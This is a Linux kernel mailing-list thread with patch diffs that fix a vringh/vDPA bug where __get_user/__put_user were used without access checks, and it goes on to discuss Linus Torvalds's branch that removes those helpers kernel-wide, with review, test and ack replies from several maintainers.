--- a/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
+++ b/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
@@ -77,8 +77,10 @@ static void vdpasim_net_complete(struct vdpasim_virtqueue *vq, size_t len)
 	smp_wmb();
 
 	local_bh_disable();
+	pagefault_disable();
 	if (vringh_need_notify_iotlb(&vq->vring) > 0)
 		vringh_notify(&vq->vring);
+	pagefault_enable();
 	local_bh_enable();
 }
 
diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
index 9066f9f12ba1..74836eb60c7a 100644
--- a/drivers/vhost/vringh.c
+++ b/drivers/vhost/vringh.c
@@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh *vrh,
 		return ret;

 	if (vrh->use_va) {
-		ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+		ret = get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
 		if (ret)
 			return ret;
 	} else {
@@ -1251,7 +1251,7 @@ static inline int putu16_iotlb(const struct vringh *vrh,
 	tmp = cpu_to_vringh16(vrh, val);

 	if (vrh->use_va) {
-		ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+		ret = put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
 		if (ret)
 			return ret;
 	} else {

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Linus Torvalds]

On Mon, 19 Oct 2026 at 20:31, Michael S. Tsirkin <mst@redhat.com> wrote:
>
> The following seems to work for me. Testing would be appreciated.

I have a whole branch that removes __get_user() and __put_user() entirely.

Somebody should check that I did it right. But I didn't want to do the
pagefault_disable() around the vringh_notify() part, so it's not quite
the same as yours.

Let me just push it out. I was going to let it simmer, but your email
made me go "I should just let more people look at it".

Mind taking a look at the 'uaccess-cleanups' branch?

It builds for me. That's all the testing it has gotten so far. Blush.

                   Linus

Removing __get_user / __put_user for good

[Linus Torvalds]

Bah. I made this branch of mine public because I wanted Michael
Tsirkin to check the vhost part.

But honestly, the i915 side and the coco/SEV patches are the much more
interesting ones.

So this brings in some new victims^Hpeople for that git branch to comment on.

It's all in

  git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
uaccess-cleanup

I haven't dared actually boot it yet.

                    Linus

On Mon, 19 Oct 2026 at 20:51, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
> I have a whole branch that removes __get_user() and __put_user() entirely.
>
> Somebody should check that I did it right. But I didn't want to do the
> pagefault_disable() around the vringh_notify() part, so it's not quite
> the same as yours.
>
> Let me just push it out. I was going to let it simmer, but your email
> made me go "I should just let more people look at it".
>
> Mind taking a look at the 'uaccess-cleanups' branch?
>
> It builds for me. That's all the testing it has gotten so far. Blush.
>
>                    Linus

Re: Removing __get_user / __put_user for good

[Jani Nikula]

On Mon, 19 Oct 2026, Linus Torvalds <torvalds@linuxfoundation.org> wrote:
> Bah. I made this branch of mine public because I wanted Michael
> Tsirkin to check the vhost part.
>
> But honestly, the i915 side and the coco/SEV patches are the much more
> interesting ones.
>
> So this brings in some new victims^Hpeople for that git branch to comment on.
>
> It's all in
>
>   git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
> uaccess-cleanup
>
> I haven't dared actually boot it yet.

I rebased it on top of our development branch and sent it to i915
CI. Let's see if it blows up. ;)


BR,
Jani.


-- 
Jani Nikula, Intel

Re: Removing __get_user / __put_user for good

[Rodrigo Vivi]

On Tue, Oct 20, 2026 at 12:33:58PM +0300, Jani Nikula wrote:
> On Mon, 19 Oct 2026, Linus Torvalds <torvalds@linuxfoundation.org> wrote:
> > Bah. I made this branch of mine public because I wanted Michael
> > Tsirkin to check the vhost part.
> >
> > But honestly, the i915 side and the coco/SEV patches are the much more
> > interesting ones.
> >
> > So this brings in some new victims^Hpeople for that git branch to comment on.
> >
> > It's all in
> >
> >   git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
> > uaccess-cleanup
> >
> > I haven't dared actually boot it yet.
> 
> I rebased it on top of our development branch and sent it to i915
> CI. Let's see if it blows up. ;)

The new commit 'drm/i915/gem: Don't fault on presumed_offset write-back' [1]

reverts commit '97a37c919f62 ("drm/i915/gem: Ignore readonly failures when
updating relocs")'

And this blows up exec_reloc concurrent tests that uses
mprotect(reloc, sz, PROT_READ); [2]

I'm not sure if this is a real use case though...

Cc: Chris Wilson <chris@chris-wilson.co.uk>
Cc: Matthew Auld <matthew.auld@intel.com>
Cc: Andi Shyti <andi.shyti@intel.com>
Cc: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>

Folks, can you please help here?

[1] - https://github.com/torvalds/linux/commit/03c19e449ac6e12a88ea4866331f2404668e22cc
[2] - https://patchwork.freedesktop.org/series/176471/

> 
> 
> BR,
> Jani.
> 
> 
> -- 
> Jani Nikula, Intel

Re: Removing __get_user / __put_user for good

[Linus Torvalds]

On Wed, 21 Oct 2026 at 06:36, Rodrigo Vivi <rodrigo.vivi@intel.com> wrote:
>
> The new commit 'drm/i915/gem: Don't fault on presumed_offset write-back' [1]
>
> reverts commit '97a37c919f62 ("drm/i915/gem: Ignore readonly failures when
> updating relocs")'
>
> And this blows up exec_reloc concurrent tests that uses
> mprotect(reloc, sz, PROT_READ); [2]

The old code had two separate bugs:

 - it used __put_user() while holding locks that could deadlock with
fault handling

   Fixed with the pagefault_disable() around the put_user()

 - it didn't actually check failures, so a read-only area silently
just dropped the write

   Fixed with that "if (unlikely(err))" addition

But yes, I didn't see that the error handling had been removed - the
removal didn't show up in the code

So I'll remove the error handling from me branch before merging.

But that code absolutely smells, though. It makes no sense to silently
drop the relocations and just go on - and continue in that loop that
will then drop the next one. And the one after.. You're just wasting
CPU time and doing nothing useful.

So I will merge it with that error handling removed, but I suspect
that test is bogus garbage, and was testing for a bug, not testing for
actual behavior. But I may be wrong.

But the __put_user() and the pagefault_disable() around it stays.  The
old code was very very buggy - and not in a "waste CPU time" way, but
in a "you could cause deadlocks and lockdep issues" kind of way.

                  Linus

Re: Removing __get_user / __put_user for good

[Michael S. Tsirkin]

On Mon, Oct 19, 2026 at 09:25:02PM -1000, Linus Torvalds wrote:
> Bah. I made this branch of mine public because I wanted Michael
> Tsirkin to check the vhost part.
> 
> But honestly, the i915 side and the coco/SEV patches are the much more
> interesting ones.
> 
> So this brings in some new victims^Hpeople for that git branch to comment on.
> 
> It's all in
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
> uaccess-cleanup
> 
> I haven't dared actually boot it yet.
> 
>                     Linus

vpda seems to survive light testing in a VM for me.

Tested-by: Michael S. Tsirkin <mst@redhat.com>


It's still buggy if there is a swapout right before
the access, just like it was previously, but hey.
One splat less. An improvement.

You might want:

Fixes: 42823a871fd4 ("vringh: support VA with iotlb")

with that, vdpa/vhost bits:

Acked-by: Michael S. Tsirkin <mst@redhat.com>



> On Mon, 19 Oct 2026 at 20:51, Linus Torvalds
> <torvalds@linuxfoundation.org> wrote:
> >
> > I have a whole branch that removes __get_user() and __put_user() entirely.
> >
> > Somebody should check that I did it right. But I didn't want to do the
> > pagefault_disable() around the vringh_notify() part, so it's not quite
> > the same as yours.
> >
> > Let me just push it out. I was going to let it simmer, but your email
> > made me go "I should just let more people look at it".
> >
> > Mind taking a look at the 'uaccess-cleanups' branch?
> >
> > It builds for me. That's all the testing it has gotten so far. Blush.
> >
> >                    Linus

Re: Removing __get_user / __put_user for good

[Ingo Molnar]

* Linus Torvalds <torvalds@linuxfoundation.org> wrote:

> Bah. I made this branch of mine public because I wanted Michael
> Tsirkin to check the vhost part.
> 
> But honestly, the i915 side and the coco/SEV patches are the much more
> interesting ones.
> 
> So this brings in some new victims^Hpeople for that git branch to comment on.
> 
> It's all in
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
> uaccess-cleanup

So it's 'uaccess-cleanups', plural, in case someone copy & pasted
this URI verbatim instead of using the branch name from your
earlier mail. :-)

All the x86 cleanups look good to me in principle, and a quick
test-build & boot shows no problems (both on 64-bit and 32-bit),
but regular testing doesn't fully excercise the exception paths
of these changes, so YMMV.

( BTW., there's a new dependency introduced by this series,
  if an architecture gets rid of __get_user(), then it must
  define arch_get_kernel_nofault(), otherwise it will gain
  new uses of __get_user()/__put_user() via the generic implementations
  of __get_kernel_nofault() and __put_kernel_nofault(). No big deal
  I suppose. )

Thanks,

	Ingo

Re: Removing __get_user / __put_user for good

[Linus Torvalds]

On Tue, 20 Oct 2026 at 03:19, Ingo Molnar <mingo@kernel.org> wrote:
>
> ( BTW., there's a new dependency introduced by this series,
>   if an architecture gets rid of __get_user(), then it must
>   define arch_get_kernel_nofault(), otherwise it will gain
>   new uses of __get_user()/__put_user() via the generic implementations
>   of __get_kernel_nofault() and __put_kernel_nofault(). No big deal
>   I suppose. )

Yeah. It didn't actually look too bad to just remove __get_user and
__put_user in general, but I ran out of motivation.

On arm64, it's a non-issue: __get/put_user is the same thing as
get/put_user, and they both do the full checks.

And the bulk of the remaining cases were on architectures that I
didn't feel were a big issue: alpha/mips/sparc.

I *think* they are all trivial - the bulk of them are just the
historical signal stack stuff and should be a direct conversion to
unsafe_get/put_user() wrapped with scoped_user_read/write_access().

So I think 90% of the remaining noise is truly trivial - not like some
of the cases that actually had *semantic* reasons to use
__get/put_user (often very _bad_ semantic reasons, but still).

Not a huge deal, I might get around to it while waiting for test
builds. Or I might not.

                 Linus

Re: Removing __get_user / __put_user for good

[Linus Torvalds]

On Tue, 20 Oct 2026 at 08:14, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
> On Tue, 20 Oct 2026 at 03:19, Ingo Molnar <mingo@kernel.org> wrote:
> >
> > ( BTW., there's a new dependency introduced by this series,
> >   if an architecture gets rid of __get_user(), then it must
> >   define arch_get_kernel_nofault(), otherwise it will gain
> >   new uses of __get_user()/__put_user() via the generic implementations
> >   of __get_kernel_nofault() and __put_kernel_nofault(). No big deal
> >   I suppose. )
>
> Yeah. It didn't actually look too bad to just remove __get_user and
> __put_user in general, but I ran out of motivation.

Bah. I'm using claude as a fancy coccinelle script, and ended up doing
the ObviouslyCorrect(tm) safe cases.

And it all really does look obviously correct, but ...

Anyway, the branch has been partially rebased to add the acked-by from
Michael, and now has a number of those "obvious" patches for alpha,
hexagon, 32-bit arm and powerpc.

I think I have - once again - run out of motivation to go further.
There are still various __get_user and __put_user calls around, but
they are starting to get rare, and I've run out of cases that look
obvious.

For example, I looked at the sparc32 signal cases, and decided
somebody else needs to do that part. It just looks too messy, and I
can't find it in myself to care. Same goes for m68k, loongarch, parisc
and mips. I just ran out of steam.

But I think this *did* get rid of the bulk of the noise elsewhere, so
now it's hopefully a case of "a motivated architecture maintainer has
a few cases to look at".

                 Linus

Re: Removing __get_user / __put_user for good

[Linus Torvalds]

On Tue, 20 Oct 2026 at 11:10, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
> And it all really does look obviously correct, but ...

I think I'm just gping to merge this. I don't love all the changes,
but I love __get_user and __put_user less.

And the one change that makes me worry most is the i915 one, and I
have at least minimally tested that one by virtue of now actually
running the code in question on my laptop that does indeed have i915
integrated graphics.

It does change semantics, but it does so in a situation where I really
do think that the old code was actively buggy and would have triggered
a lockdep splat if it hit that situation.

The i915 code also was actively wrong in its comments about this all,
with some of it going back to some stone age code with
'verify_area(VERIFY_WRITE)' that used to actually trigger page faults
on i386 in order to do early COW.

We haven't done that since the 2.5.x days, and even then we only ever
did it on 32-bit kernels and only if CONFIG_X86_WP_WORKS_OK wasn't
enabled.

Put another way: I'm not claiming my patches are perfect, but I think
they are an improvement, and I'd rather merge this early and find any
issues than keep known-broken code around.

And yes, I might have missed some situation where __get/put_user() was
used for some reason I overlooked.

The reasons I at least thought about:

 - the legacy case of "one single access_ok and multiple __get_users
is faster" case

   This is not faster any more, and hasn't been for years and years.
But the cases I thought might care about performance - or the cases
that were trivial to convert - got converted with
"scoped_user_read/write_begin() {}" and unsafe_get/put_user() calls,
so now they *really* are faster.

 - The vhost use-case that wants to use get_user() in atomic context,
but used __get_user() in order to avoid a warning

   The warning was *correct*, and using __get_user() was a bug waiting
to happen, because some atomic situations aren't visible at runtime.
The fix is to actually use pagefault_disable/enable() and get_user()
to make this all explicit, avoid the warning, and avoid the issue that
some atomic sections aren't even visible in the preempt count.

 - The "either kernel or user pointer" situation. That was the x86
coco/SEV case, and the alpha "is_prefetch" cases.

 - A couple of "kernel pointer only" cases that should just use
"get_kernel_nofault()", but the code pre-dates that helper existing.

but it is possible that there is some case I didn't catch. Still, this
"remove __get/put_user" is way over-due and now that I finally got it
done, I don't want to leave it hanging.

                   Linus

Re: Removing __get_user / __put_user for good

[Borislav Petkov]

On Tue, Oct 20, 2026 at 03:38:02PM -1000, Linus Torvalds wrote:
>  - The "either kernel or user pointer" situation. That was the x86
> coco/SEV case, and the alpha "is_prefetch" cases.

My SEV-SNP guest boots with it and we'll run more extensive tests soon to make
sure nothing falls out.

Thx.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette

Re: Removing __get_user / __put_user for good

[Linus Torvalds]

On Tue, 20 Oct 2026 at 16:54, Borislav Petkov <bp@alien8.de> wrote:
>
> My SEV-SNP guest boots with it and we'll run more extensive tests soon to make
> sure nothing falls out.

I don't know that code at all, but from my reading it will only
trigger in fairly unusual cases ("rep movs/ins/outs" that need
emulation).

But the replacement code *should* do what __get_user/__put_user did
before, just with a local helper, so unlike the i915 case it shouldn't
actually change any semantics.

Famous last words... It's the largest of the patches (well, I'm
ignoring the ones that just do multiple accesses to the same signal
frame - they may be more lines, but it's just the same thing repeated
over and over again).

             Linus

Re: Removing __get_user / __put_user for good

[Borislav Petkov]

On Tue, Oct 20, 2026 at 05:00:46PM -1000, Linus Torvalds wrote:
> I don't know that code at all, but from my reading it will only
> trigger in fairly unusual cases ("rep movs/ins/outs" that need
> emulation).

Right, and when the src/dst are MMIO, see 

        case INSN_MMIO_MOVS:
                ret = vc_handle_mmio_movs(ctxt, bytes);

which calls that vc_*_mem() gunk.

I presume you've also found:

  4954f5b8ef0b ("x86/sev-es: Use __put_user()/__get_user() for data accesses")

which explains why we use those.

> But the replacement code *should* do what __get_user/__put_user did
> before, just with a local helper, so unlike the i915 case it shouldn't
> actually change any semantics.

Yeah, I wanted to take a detailed look on a fresh head but you pulled it
again. :-P

I'll have a look when it shows up again.

Thx.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette

Re: Removing __get_user / __put_user for good

[Linus Torvalds]

On Wed, 21 Oct 2026 at 08:43, Borislav Petkov <bp@alien8.de> wrote:
>
> Yeah, I wanted to take a detailed look on a fresh head but you pulled it
> again. :-P

Ahh, I removed it because I merged it locally, but then I decided I
should do a full build before I push it all out because I had missed a
merge error yesterday due to not doing a proper full build on my poor
little laptop.

So yeah, it's gone, but it will show up in master shortly.

And by "shortly" I mean "not as shortly as it would have happened on
my home machine".

I think I need to upgrade my laptop eventually. It's a perfectly fine
laptop, but it's from 2019. I'm sure there are more powerful ones out
there that are still lightweight.

        Linus

Re: Removing __get_user / __put_user for good

[Borislav Petkov]

On Wed, Oct 21, 2026 at 08:55:39AM -1000, Linus Torvalds wrote:
> I think I need to upgrade my laptop eventually. It's a perfectly fine
> laptop, but it's from 2019. I'm sure there are more powerful ones out
> there that are still lightweight.

Yeah, I love a laptop because it is nice and silent but no matter how big it
is, allmodconfig is still faaat and takes foreva. So I've scripted all my
builds to go to test machines and the laptop is simply collecting results or
booting those kernel binaries in VMs and so on.

That's how I follow the merge order of when we send you tip branches and I go
and merge and build each one to check for build errors one last time and see
what merge conflicts will appear.

And I can't do that on a laptop. It just takes too long.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette

Re: Removing __get_user / __put_user for good

[Ingo Molnar]

* Linus Torvalds <torvalds@linuxfoundation.org> wrote:

> On Tue, 20 Oct 2026 at 11:10, Linus Torvalds
> <torvalds@linuxfoundation.org> wrote:
> >
> > And it all really does look obviously correct, but ...
> 
> I think I'm just gping to merge this. I don't love all the changes,
> but I love __get_user and __put_user less.

Good riddance in any case, and for the x86 bits:

	Acked-by: Ingo Molnar <mingo@kernel.org>

Thanks,

	Ingo

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Mon, Oct 19, 2026 at 08:51:43PM -1000, Linus Torvalds wrote:
> On Mon, 19 Oct 2026 at 20:31, Michael S. Tsirkin <mst@redhat.com> wrote:
> >
> > The following seems to work for me. Testing would be appreciated.
> 
> I have a whole branch that removes __get_user() and __put_user() entirely.
> 
> Somebody should check that I did it right. But I didn't want to do the
> pagefault_disable() around the vringh_notify() part, so it's not quite
> the same as yours.
> 
> Let me just push it out. I was going to let it simmer, but your email
> made me go "I should just let more people look at it".
> 
> Mind taking a look at the 'uaccess-cleanups' branch?

At the virtio things there? Sure, 'bit later.

> It builds for me. That's all the testing it has gotten so far. Blush.
> 
>                    Linus

I can help with that.

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[David Laight]

On Mon, 19 Oct 2026 20:51:43 -1000
Linus Torvalds <torvalds@linuxfoundation.org> wrote:

> On Mon, 19 Oct 2026 at 20:31, Michael S. Tsirkin <mst@redhat.com> wrote:
> >
> > The following seems to work for me. Testing would be appreciated.  
> 
> I have a whole branch that removes __get_user() and __put_user() entirely.

There should also be very few (if any) access_ok() calls outside of the code
that implements user copies.

David

> 
> Somebody should check that I did it right. But I didn't want to do the
> pagefault_disable() around the vringh_notify() part, so it's not quite
> the same as yours.
> 
> Let me just push it out. I was going to let it simmer, but your email
> made me go "I should just let more people look at it".
> 
> Mind taking a look at the 'uaccess-cleanups' branch?
> 
> It builds for me. That's all the testing it has gotten so far. Blush.
> 
>                    Linus
> 

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Linus Torvalds]

On Mon, 19 Oct 2026 at 23:21, David Laight <david.laight.linux@gmail.com> wrote:
>
> There should also be very few (if any) access_ok() calls outside of the code
> that implements user copies.

Note that that branch only removes __get_user/__put_user - and only on x86.

So there's still a lot of valid access_ok() calls left. Some are
around things like raw_copy_to/from_user() etc.

But some are around things that just want to verify that it's a valid
user address for other reasons. On example is in fork.c that just
checks that the stack that is supplied is ok.

But yes, the branch does remove a number of access_ok() calls. Fewer
than you'd maybe think, though.

                  Linus

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Eugenio Perez Martin]

On Tue, Oct 20, 2026 at 8:31 AM Michael S. Tsirkin <mst@redhat.com> wrote:
>
> On Mon, Oct 19, 2026 at 03:14:46PM +0800, Wang Haoran wrote:
> > Eugenio previously offered some additional suggestions in reply to
> > my patch email. Should these also be addressed?
>
> The following seems to work for me. Testing would be appreciated.
>
> From: Michael S. Tsirkin <mst@redhat.com>
> Subject: [PATCH v2] vringh: use get_user/put_user in the use_va path
>
> getu16_iotlb()/putu16_iotlb() pass the address produced by
> iotlb_translate() straight to __get_user()/__put_user(),
> without access_ok checked anywhere. Not good.
>
> Switch to get_user()/put_user(), which are always
> correct, and safer.
>
> But the fact is that accessing user memory like this
> will sometimes (rarely) race with page being swapped
> out, trigger EFAULT, and it should be retried
> from a worker, and vdpa_sim currently does not do this.
>
> Fixes: 42823a871fd4 ("vringh: support VA with iotlb")
> Cc: Stefano Garzarella <sgarzare@redhat.com>
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
>
> ---
>
> Notes (changelog):
> v1->v2:
>     Use get_user()/put_user() wrapped in pagefault_disable() instead of
>     access_ok() followed by __get_user()/__put_user(); the helpers are
>     reached from BH-disabled sections, and __get_user() is not a valid
>     way around that (David Laight, Linus Torvalds)
>
>  drivers/vdpa/vdpa_sim/vdpa_sim_blk.c | 2 ++
>  drivers/vdpa/vdpa_sim/vdpa_sim_net.c | 2 ++
>  drivers/vhost/vringh.c               | 4 ++--
>  3 files changed, 6 insertions(+), 2 deletions(-)
>
> diff --git a/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c b/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
> index 76dd5b0828d7..325ec8f0ab85 100644
> --- a/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
> +++ b/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
> @@ -347,8 +347,10 @@ static void vdpasim_blk_work(struct vdpasim *vdpasim)
>                         smp_wmb();
>
>                         local_bh_disable();
> +                       pagefault_disable();
>                         if (vringh_need_notify_iotlb(&vq->vring) > 0)
>                                 vringh_notify(&vq->vring);
> +                       pagefault_enable();
>                         local_bh_enable();
>
>                         if (++reqs > 4) {
> diff --git a/drivers/vdpa/vdpa_sim/vdpa_sim_net.c b/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
> index a6514b5ccd86..964cdf422467 100644
> --- a/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
> +++ b/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
> @@ -77,8 +77,10 @@ static void vdpasim_net_complete(struct vdpasim_virtqueue *vq, size_t len)
>         smp_wmb();
>
>         local_bh_disable();
> +       pagefault_disable();
>         if (vringh_need_notify_iotlb(&vq->vring) > 0)
>                 vringh_notify(&vq->vring);
> +       pagefault_enable();
>         local_bh_enable();
>  }
>

Why not move the pagefault disable_enable to wrap just the accesses?
Future vdpa drivers could use va and we might miss the call. Also, the
reverse is also true, vdpa_sim could be configured to not use it, even
if it is not a big waste.

> diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> index 9066f9f12ba1..74836eb60c7a 100644
> --- a/drivers/vhost/vringh.c
> +++ b/drivers/vhost/vringh.c
> @@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh *vrh,
>                 return ret;
>
>         if (vrh->use_va) {
> -               ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> +               ret = get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
>                 if (ret)
>                         return ret;
>         } else {
> @@ -1251,7 +1251,7 @@ static inline int putu16_iotlb(const struct vringh *vrh,
>         tmp = cpu_to_vringh16(vrh, val);
>
>         if (vrh->use_va) {
> -               ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> +               ret = put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
>                 if (ret)
>                         return ret;
>         } else {
>

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Michael S. Tsirkin]

On Tue, Oct 20, 2026 at 11:22:59AM +0200, Eugenio Perez Martin wrote:
> On Tue, Oct 20, 2026 at 8:31 AM Michael S. Tsirkin <mst@redhat.com> wrote:
> >
> > On Mon, Oct 19, 2026 at 03:14:46PM +0800, Wang Haoran wrote:
> > > Eugenio previously offered some additional suggestions in reply to
> > > my patch email. Should these also be addressed?
> >
> > The following seems to work for me. Testing would be appreciated.
> >
> > From: Michael S. Tsirkin <mst@redhat.com>
> > Subject: [PATCH v2] vringh: use get_user/put_user in the use_va path
> >
> > getu16_iotlb()/putu16_iotlb() pass the address produced by
> > iotlb_translate() straight to __get_user()/__put_user(),
> > without access_ok checked anywhere. Not good.
> >
> > Switch to get_user()/put_user(), which are always
> > correct, and safer.
> >
> > But the fact is that accessing user memory like this
> > will sometimes (rarely) race with page being swapped
> > out, trigger EFAULT, and it should be retried
> > from a worker, and vdpa_sim currently does not do this.
> >
> > Fixes: 42823a871fd4 ("vringh: support VA with iotlb")
> > Cc: Stefano Garzarella <sgarzare@redhat.com>
> > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> >
> > ---
> >
> > Notes (changelog):
> > v1->v2:
> >     Use get_user()/put_user() wrapped in pagefault_disable() instead of
> >     access_ok() followed by __get_user()/__put_user(); the helpers are
> >     reached from BH-disabled sections, and __get_user() is not a valid
> >     way around that (David Laight, Linus Torvalds)
> >
> >  drivers/vdpa/vdpa_sim/vdpa_sim_blk.c | 2 ++
> >  drivers/vdpa/vdpa_sim/vdpa_sim_net.c | 2 ++
> >  drivers/vhost/vringh.c               | 4 ++--
> >  3 files changed, 6 insertions(+), 2 deletions(-)
> >
> > diff --git a/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c b/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
> > index 76dd5b0828d7..325ec8f0ab85 100644
> > --- a/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
> > +++ b/drivers/vdpa/vdpa_sim/vdpa_sim_blk.c
> > @@ -347,8 +347,10 @@ static void vdpasim_blk_work(struct vdpasim *vdpasim)
> >                         smp_wmb();
> >
> >                         local_bh_disable();
> > +                       pagefault_disable();
> >                         if (vringh_need_notify_iotlb(&vq->vring) > 0)
> >                                 vringh_notify(&vq->vring);
> > +                       pagefault_enable();
> >                         local_bh_enable();
> >
> >                         if (++reqs > 4) {
> > diff --git a/drivers/vdpa/vdpa_sim/vdpa_sim_net.c b/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
> > index a6514b5ccd86..964cdf422467 100644
> > --- a/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
> > +++ b/drivers/vdpa/vdpa_sim/vdpa_sim_net.c
> > @@ -77,8 +77,10 @@ static void vdpasim_net_complete(struct vdpasim_virtqueue *vq, size_t len)
> >         smp_wmb();
> >
> >         local_bh_disable();
> > +       pagefault_disable();
> >         if (vringh_need_notify_iotlb(&vq->vring) > 0)
> >                 vringh_notify(&vq->vring);
> > +       pagefault_enable();
> >         local_bh_enable();
> >  }
> >
> 
> Why not move the pagefault disable_enable to wrap just the accesses?

We want most accessed with PF enabled, so memory can be faulted in.

> Future vdpa drivers could use va and we might miss the call. Also, the
> reverse is also true, vdpa_sim could be configured to not use it, even
> if it is not a big waste.
> 
> > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> > index 9066f9f12ba1..74836eb60c7a 100644
> > --- a/drivers/vhost/vringh.c
> > +++ b/drivers/vhost/vringh.c
> > @@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh *vrh,
> >                 return ret;
> >
> >         if (vrh->use_va) {
> > -               ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > +               ret = get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> >                 if (ret)
> >                         return ret;
> >         } else {
> > @@ -1251,7 +1251,7 @@ static inline int putu16_iotlb(const struct vringh *vrh,
> >         tmp = cpu_to_vringh16(vrh, val);
> >
> >         if (vrh->use_va) {
> > -               ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > +               ret = put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> >                 if (ret)
> >                         return ret;
> >         } else {
> >